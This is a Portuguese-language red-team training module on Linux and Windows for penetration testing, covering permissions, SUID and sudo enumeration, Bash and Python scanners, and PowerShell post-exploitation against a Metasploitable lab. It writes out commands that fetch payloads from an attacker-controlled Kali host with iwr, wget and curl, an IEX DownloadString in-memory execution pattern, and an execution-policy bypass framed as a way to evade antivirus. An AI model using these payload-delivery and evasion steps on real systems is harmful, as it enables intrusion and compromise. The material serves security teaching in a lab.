MÓDULO 2 — Linux & Windows para Hacking: Operação, Permissões, PowerShell e Automação
Team Hacking78
Especialistas em Red Teaming
Resumo Executivo (TL;DR)
Domine a operação ofensiva em Linux e Windows: navegação crítica do Kali, permissões e SUID, enumeração com sudo -l, automação com Bash e Python, one-liners ofensivos no PowerShell e transferência de payloads.

O domínio dos sistemas operacionais Linux e Windows é o alicerce fundamental de qualquer operador de segurança ofensiva ou analista de Red Team. Entender a fundo a hierarquia de diretórios, o modelo de permissões, a manipulação de processos e a automação via scripts permite transformar acessos restritos em comprometimentos totais de infraestruturas.
Neste módulo prático, você aprenderá a operar o Kali Linux com máxima agilidade, identificar vetores de escalada de privilégios via permissões e binários SUID, dominar o PowerShell sob a perspectiva ofensiva e desenvolver suas primeiras ferramentas automatizadas em Bash e Python.
2.1 Estrutura de Diretórios do Linux (O que Realmente Importa)
No ecossistema Linux, tudo é tratado como arquivo. Durante um teste de invasão (pentest), certos diretórios e arquivos de configuração concentram a maior parte dos dados sensíveis e oportunidades de exploração:
- /etc (Configurações do Sistema): Contém arquivos de configuração globais, credenciais de serviços, definições de rede e segurança.
- /etc/passwd (Usuários do Sistema): Lista todos os usuários registrados no sistema, seus UIDs, GIDs e shells padrão. Leitura liberada para todos os usuários, sendo essencial para enumeração de contas locais.
- /etc/shadow (Hashes de Senha): Contém os hashes criptográficos das senhas dos usuários. Apenas acessível pelo usuário
root(ou processos com privilégios equivalentes) e é o alvo primordial em ataques de password cracking. - /var/log (Logs do Sistema e Aplicações): Registra eventos de autenticação (
auth.log), logs do kernel (syslog), servidores web (nginx,apache2) e serviços. Fundamental para entender o comportamento do alvo ou analisar a própria pegada deixada no ambiente. - /tmp e /var/tmp (Arquivos Temporários): Diretórios temporários com permissão universal de escrita (world-writable). Utilizados frequentemente por atacantes para despejar payloads (drop payloads), compilar exploits e criar arquivos efêmeros.
- /home (Diretórios de Usuários Comuns): Armazena arquivos pessoais, chaves SSH privadas (
id_rsa), históricos de comandos (.bash_history) e credenciais esquecidas em pastas de usuários. - /root (Home do Administrador Root): Diretório restrito do superusuário. O objetivo final em cenários de escalada de privilégios local (LPE).
- /usr/bin e /bin (Binários do Sistema): Armazenam os utilitários executáveis do sistema operacional. Alvos críticos para análise de permissões especiais e exploração de SUID.
Regra Mental Ofensiva
Em qualquer exercício de invasão ou pós-exploração, /etc/passwd, /etc/shadow, /tmp e os binários com bit SUID são os quatro locais que você irá inspecionar dezenas de vezes.
2.2 Navegação e Manipulação Eficiente de Arquivos
A agilidade na linha de comando é um diferencial prático no pentest. Abaixo estão os comandos mais utilizados em enumerações manuais e auditorias:
# Identificação de contexto e listagem detalhada
pwd # Exibe o diretório atual de trabalho
ls -la # Lista todos os arquivos, incluindo ocultos (-a) com detalhes (-l)
cd /etc # Navega para o diretório alvo
# Leitura e inspeção de conteúdo
cat /etc/passwd # Imprime o conteúdo completo do arquivo
less /etc/services # Leitura paginada para arquivos extensos (pressione 'q' para sair)
head -n 20 arquivo.txt # Exibe as 20 primeiras linhas
tail -f /var/log/syslog # Monitora atualizações no log em tempo real (follow mode)
# Filtro e busca de texto
grep -i "root" /etc/passwd # Busca correspondências ignorando maiúsculas/minúsculas
# Localização avançada de arquivos e binários
find / -name "*.conf" 2>/dev/null # Busca arquivos de configuração suprimindo erros de acesso
find / -perm -4000 -type f 2>/dev/null # Localiza binários com bit SUID ativo no sistema
# Operações de arquivos e diretórios
cp origem.txt destino.txt # Copia arquivos
mv antigo.sh novo.sh # Move ou renomeia arquivos
rm -rf /tmp/payloads # Remove arquivos e diretórios recursivamente sem confirmação
mkdir /tmp/workspace # Cria novo diretório
touch payload.py # Cria um arquivo vazio ou atualiza timestamp
chmod +x scan.sh # Concede permissão de execuçãoDica Ofensiva: O Redirecionamento 2>/dev/null
O redirecionamento 2>/dev/null envia o canal de erro padrão (stderr) diretamente para o dispositivo nulo. Ao executar buscas como usuário não privilegiado, você receberá centenas de avisos de "Permission Denied". O 2>/dev/null limpa a saída e exibe apenas os arquivos que você realmente tem permissão de visualizar.
2.3 Permissões: A Chave da Escalação de Privilégios
O sistema de arquivos POSIX atribui permissões divididas em três categorias: Dono (User), Grupo (Group) e Outros (Others). Cada categoria possui direitos de Leitura (r = 4), Escrita (w = 2) e Execução (x = 1).
-rwxr-xr-- 1 root root 1234 ago 18 10:00 script.sh
↑ ↑ ↑
| | └─ Outros (r--): 4 + 0 + 0 = 4 (apenas leitura)
| └──── Grupo (r-x): 4 + 0 + 1 = 5 (leitura e execução)
└─────── Dono (rwx): 4 + 2 + 1 = 7 (leitura, escrita e execução)# Ajustando permissões octais e propriedades
chmod 755 script.sh # Dono: rwx (7) | Grupo: r-x (5) | Outros: r-x (5)
chmod 600 id_rsa # Apenas o dono lê e escreve (obrigatório para chaves SSH privadas)
chmod +x exploit.sh # Adiciona bit de execução para todos
chown root:root backup # Altera dono e grupo do arquivo para rootO Conceito que Define o Módulo 11: SUID e Privilégios Especiais
O bit SUID (Set Owner User ID) permite que um executável rode temporariamente com os privilégios do dono do arquivo, e não com as permissões do usuário que o invocou.
# Verificando permissão SUID no comando passwd (observe o 's' nas permissões do dono)
ls -la /usr/bin/passwd
# Saída esperada: -rwsr-xr-x 1 root root 68208 ago 18 12:00 /usr/bin/passwdSe um binário de propriedade do root possuir o bit SUID ativo e contiver falhas de segurança, comandos embutidos de shell ou permissão de escrita indevida, um atacante pode usá-lo para obter um shell instantâneo como root. A caça a binários SUID vulneráveis através de find / -perm -4000 -type f 2>/dev/null é um dos pilares de escalada local.
2.4 Enumeração de Usuários, Grupos e Sudo
Após obter acesso inicial em uma máquina Linux, a primeira ação é determinar seu nível de privilégio e descobrir permissões delegadas:
whoami # Exibe o usuário atual da sessão
id # Exibe UID, GID e todos os grupos associados
sudo -l # Lista os comandos que seu usuário pode executar via sudo (VETOR CRÍTICO!)
adduser operador # Cria um novo usuário no sistema
usermod -aG sudo operador # Insere o usuário no grupo com direitos administrativos
passwd operador # Define nova senha
su - root # Alterna a sessão para o usuário root
groups # Exibe os grupos do usuário atualOuro no Pentest: sudo -l e Permissões NOPASSWD
O comando sudo -l revela comandos autorizados no arquivo /etc/sudoers. Entradas permissivas como (ALL) NOPASSWD: /usr/bin/vim ou (ALL) NOPASSWD: /usr/bin/find permitem escapar para o terminal root imediatamente utilizando técnicas de GTFOBins.
2.5 Processos, Serviços e Sockets de Rede
Processos rodando com privilégios elevados (como serviços de banco de dados, servidores web ou scripts em cron jobs) representam superfícies de ataque diretas:
ps aux # Lista todos os processos em execução no sistema
ps aux | grep apache2 # Filtra processos específicos do Apache
top / htop # Monitor de recursos e processos interativo em tempo real
kill -9 1337 # Envia sinal SIGKILL forçando o encerramento do processo pelo PID
systemctl status ssh # Verifica o status operacional do daemon OpenSSH
systemctl restart ssh # Reinicia o serviço de SSH
ss -tulpn # Lista sockets TCP/UDP abertos, portas em escuta e PIDs associados- Por que isso importa na invasão? Se um processo com privilégio
rootescuta em uma porta interna (127.0.0.1) ou processa arquivos de diretórios compartilhados (/tmp), ele pode ser explorado localmente para obter execução de código administrativo.
2.6 Bash Scripting: Sua Primeira Automação Ofensiva
A criação de scripts em Bash permite automatizar rotinas repetitivas durante o reconhecimento interno de redes e testes de penetração.
Criando um Ping Sweeper Multithread
O script abaixo varre uma sub-rede /24 identificando máquinas ativas em paralelo:
#!/bin/bash
# script: ping_sweep.sh — Varredura paralela de hosts ativos
rede="192.168.56"
echo "[*] Iniciando descoberta de hosts na rede $rede.0/24..."
for i in $(seq 1 254); do
(ping -c 1 -W 1 $rede.$i &>/dev/null && echo "[+] Host ativo encontrado: $rede.$i") &
done
wait
echo "[*] Varredura de rede concluída."- #!/bin/bash: Shebang que instrui o kernel a usar o interpretador Bash.
- for i in $(seq 1 254): Itera sequencialmente pelos endereços de 1 até 254.
- &>/dev/null: Redireciona stdout e stderr para descarte, mantendo apenas a validação lógica.
- &&: Executa a mensagem formatada apenas caso o ping retorne sucesso (
exit code 0). - &: Executa o processo em segundo plano (background job), permitindo varrer 254 IPs simultaneamente em segundos.
- wait: Bloqueia o script até que todos os subprocessos em background finalizem.
Manipulação de Argumentos e Códigos de Retorno
#!/bin/bash
# script: host_check.sh — Verificação pontual com tratamento de argumentos
alvo="$1"
if [ -z "$alvo" ]; then
echo "[-] Erro: Endereço IP ou hostname não fornecido."
echo "Uso: $0 <ip-do-alvo>"
exit 1
fi
ping -c 1 "$alvo" &>/dev/null
if [ $? -eq 0 ]; then
echo "[+] O alvo $alvo está ONLINE e respondendo a ICMP."
else
echo "[-] O alvo $alvo está INACESSÍVEL ou bloqueando pacotes ICMP."
fiExercício Prático 2.6: Ping & Scan Automatizado
Escreva um script Bash que receba um endereço IP como argumento, valide se o host está ativo via ICMP e, em caso positivo, execute automaticamente um scan básico com nmap -p 22,80,443 -sV <alvo>. Execute o teste contra o laboratório Metasploitable.
2.7 Python para Hacking: Sockets e Varredura TCP
Python é uma das linguagens mais adotadas no desenvolvimento de exploits, ferramentas e scanners customizados devido à sua legibilidade e vasta biblioteca padrão.
Abaixo está a implementação de um port scanner TCP básico utilizando sockets puros:
#!/usr/bin/env python3
# script: portscan.py — Scanner de portas TCP com biblioteca socket
import socket
import sys
def scan_port(host, port):
# Cria socket IPv4 (AF_INET) e TCP (SOCK_STREAM)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1.0) # Define timeout de 1 segundo para evitar travamentos
try:
resultado = s.connect_ex((host, port))
if resultado == 0:
print(f"[+] Porta {port:5d}/TCP: ABERTA")
s.close()
return True
s.close()
return False
except socket.error as err:
print(f"[-] Erro ao conectar na porta {port}: {err}")
return False
if __name__ == "__main__":
if len(sys.argv) != 2:
print("[-] Uso incorreto.")
print(f"Sintaxe: python3 {sys.argv[0]} <ip-do-alvo>")
sys.exit(1)
alvo = sys.argv[1]
portas_comuns = [21, 22, 23, 25, 53, 80, 110, 139, 443, 445, 1433, 3306, 3389, 8080]
print(f"[*] Iniciando varredura de portas no alvo: {alvo}")
print("-" * 50)
for porta in portas_comuns:
scan_port(alvo, porta)
print("-" * 50)
print("[*] Varredura concluída com sucesso.")- socket(AF_INET, SOCK_STREAM): Cria a abstração de socket TCP/IP.
- connect_ex(): Retorna 0 em caso de sucesso (conexão estabelecida com handshake SYN-ACK) e códigos de erro padrão em caso de recusa (RST) ou porta filtrada.
- settimeout(1.0): Impede que o scanner fique travado indefinidamente aguardando resposta de hosts com firewall ativo.
Exercício Prático 2.7: Port Scanner Customizado
Execute o script contra a máquina Metasploitable e compare o tempo e acurácia com os resultados do Nmap. Modifique o script para aceitar uma lista personalizada de portas ou uma faixa (range) via linha de comando.
2.8 Windows & PowerShell: O Lado Ofensivo
Em ambientes corporativos, a vasta maioria das estações de trabalho e controladores de domínio roda sob ecossistema Microsoft Windows. O PowerShell é o utilitário nativo mais poderoso para operações de Red Team e pós-exploração Living off the Land (LotL).
Comandos Essenciais de Enumeração
# Identificação de usuário e privilégios
whoami # Identifica o usuário e domínio atual
whoami /priv # Lista privilégios especiais do token (ex: SeImpersonatePrivilege, SeDebugPrivilege)
# Informações do sistema operacional e patches
systeminfo # Exibe versão detalhada do OS, arquitetura e hotfixes/KBs instalados
# Enumeração de contas e grupos
net user # Lista todos os usuários locais
net user administrador # Detalha propriedades e último logon do usuário especificado
net localgroup Administrators # Lista os membros do grupo de administradores locais
net group "Domain Admins" /domain # Lista administradores de domínio no Active Directory
# Processos, serviços e rede
Get-Process # Lista processos ativos (equivalente moderno ao ps aux)
Get-Service # Lista serviços registrados e seu status (Running/Stopped)
ipconfig /all # Configuração detalhada de adaptadores de rede, DNS e gateway
Get-ChildItem -Force # Lista arquivos e diretórios ocultos (equivalente ao ls -la)
Get-Content secrets.txt # Exibe o conteúdo de arquivos (equivalente ao cat)
# Política de execução de scripts
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process # Permite execução de scripts sem restrições na sessão atualOne-Liner de Reconhecimento Rápido
Para coletar inteligência inicial em poucos segundos sem gravar ferramentas no disco da máquina alvo:
# One-liner de enumeração completa de sessão, privilégios, rede e OS
whoami; whoami /priv; ipconfig /all; systeminfo | findstr /B /C:"OS Name" /C:"OS Version"; net userTransferência de Payloads com Invoke-WebRequest
O PowerShell permite realizar o download de binários, executáveis e scripts diretamente para o sistema alvo:
# Sintaxe canônica
Invoke-WebRequest -Uri "http://192.168.56.101:8080/payload.exe" -OutFile "C:\Windows\Temp\payload.exe"
# Forma abreviada rápida
iwr http://192.168.56.101:8080/payload.exe -OutFile C:\Windows\Temp\payload.exePor que o PowerShell é Tão Poderoso para Red Teams
- Ferramenta Nativa (LotL): Já está instalada por padrão no Windows 7, 8, 10, 11 e Windows Server, eliminando a necessidade de transferir compiladores ou executáveis suspeitos.
- Execução em Memória: Permite baixar e executar scripts diretamente na memória RAM (ex:
IEX (New-Object Net.WebClient).DownloadString(...)) sem salvar arquivos no disco rígido, reduzindo alertas de antivírus tradicionais. - Integração Profunda com .NET: Permite invocar classes e métodos da API do Windows (Win32 API) via
Add-Type, manipular tokens de acesso e interagir diretamente com o subsistema do Windows.
2.9 Servidor HTTP no Kali para Entrega de Payloads
Durante testes de invasão em redes locais ou ambientes de laboratório, hospedar arquivos rapidamente no Kali Linux para que as máquinas vítimas possam baixá-los é uma rotina constante:
# 1. Navegue até o diretório onde estão seus scripts ou payloads
mkdir -p /tmp/payloads
cd /tmp/payloads
# 2. Inicie o servidor HTTP integrado do Python na porta desejada (ex: 8080)
python3 -m http.server 8080Como Baixar o Payload no Alvo Comprometido: - No alvo Windows:
iwr http://IP_KALI:8080/payload.exe -OutFile C:\Windows\Temp\payload.exe- No alvo Linux:
wget http://IP_KALI:8080/exploit.sh -O /tmp/exploit.sh
# ou via curl
curl http://IP_KALI:8080/exploit.sh -o /tmp/exploit.sh- Atenção ao Firewall do Kali: Se o alvo não conseguir baixar o arquivo, verifique se a porta não está bloqueada pelo
ufwouiptablesno Kali executandosudo ufw statusousudo iptables -L.
2.10 Atividade Prática e Desafio do Módulo 2
Realize os passos a seguir no seu ambiente de laboratório para fixar todos os conceitos abordados:
- 1. Gestão de Usuários e Sudo: No Kali Linux, crie um usuário chamado
hacker, defina uma senha forte, adicione-o ao gruposudoe valide o funcionamento comsudo -l. - 2. Varredura com Bash: Execute o script
ping_sweep.shdesenvolvido na seção 2.6 contra o segmento de rede192.168.56.0/24. - 3. Varredura com Python: Execute o scanner TCP em Python contra a máquina Metasploitable e compare o relatório de portas abertas com a saída do Nmap.
- 4. Transferência de Arquivos: Suba o servidor com
python3 -m http.server 8080no Kali e realize o download de um arquivo de teste a partir do Metasploitable viawget.
Desafio Integrado de Automação
Desenvolva um script de automação que execute a descoberta de hosts ativos na rede local e, para cada host detectado, dispare automaticamente o scanner de portas em Python, salvando o relatório consolidado em um arquivo resultado.txt.
Checklist de Conclusão do Módulo 2
- Navegação fluida no sistema de arquivos Linux (ls, find, grep, chmod, chown).
- Domínio do cálculo de permissões numéricas e identificação de binários com bit SUID.
- Enumeração de privilégios e permissões sudo com sudo -l, id e leitura de /etc/passwd.
- Gerenciamento de processos e sockets de rede (ps aux, ss -tulpn, systemctl).
- Criação de scripts em Bash utilizando loops, condicionais, background jobs e argumentos.
- Criação de scanners TCP em Python utilizando a biblioteca socket.
- Conhecimento prático dos comandos ofensivos do PowerShell no Windows.
- Capacidade de hospedar e transferir arquivos e payloads entre Kali e alvos.
Perguntas Frequentes (FAQ)
Por que o arquivo /etc/shadow não pode ser lido por usuários comuns no Linux?
O arquivo /etc/shadow armazena os hashes criptográficos das senhas dos usuários do sistema. Se usuários comuns tivessem permissão de leitura, poderiam extrair esses hashes e executar ataques de quebra de senha offline (como força bruta ou dicionário com ferramentas como Hashcat ou John the Ripper).
O que é o bit SUID e como ele pode ser explorado para escalada de privilégios?
O SUID (Set Owner User ID) é uma permissão especial que faz com que um binário seja executado com os privilégios do seu proprietário, e não do usuário que o invocou. Se um binário pertencente ao root tiver falhas, funcionalidades de escape para shell ou permissão indevida de escrita, um usuário comum pode manipulá-lo para obter um shell com privilégios de root.
Qual a vantagem de usar o PowerShell em vez de ferramentas externas em testes no Windows?
O PowerShell é um utilitário nativo e confiável presente em todas as versões modernas do Windows (técnica conhecida como Living off the Land - LotL). Seu uso reduz alertas de soluções antivírus/EDR, dispensa uploads suspeitos de executáveis e permite a execução de scripts e payloads diretamente na memória RAM.
Como o redirecionamento 2>/dev/null auxilia durante a enumeração manual no Linux?
O descritor de arquivo 2 representa a saída de erro padrão (stderr). Ao direcioná-la para /dev/null com 2>/dev/null, todos os erros de 'Permissão Negada' (Permission Denied) gerados durante buscas no sistema são descartados, apresentando na tela apenas os resultados que o operador tem permissão legítima de acessar.
Por que a enumeração de processos e portas abertas (ss -tulpn) é prioritária pós-acesso?
Serviços rodando localmente (em 127.0.0.1) ou como root frequentemente contêm vulnerabilidades ou configurações permissivas que não estavam expostas para a rede externa. Identificar esses processos e portas locais revela vetores imediatos para escalada de privilégios e movimentação lateral.
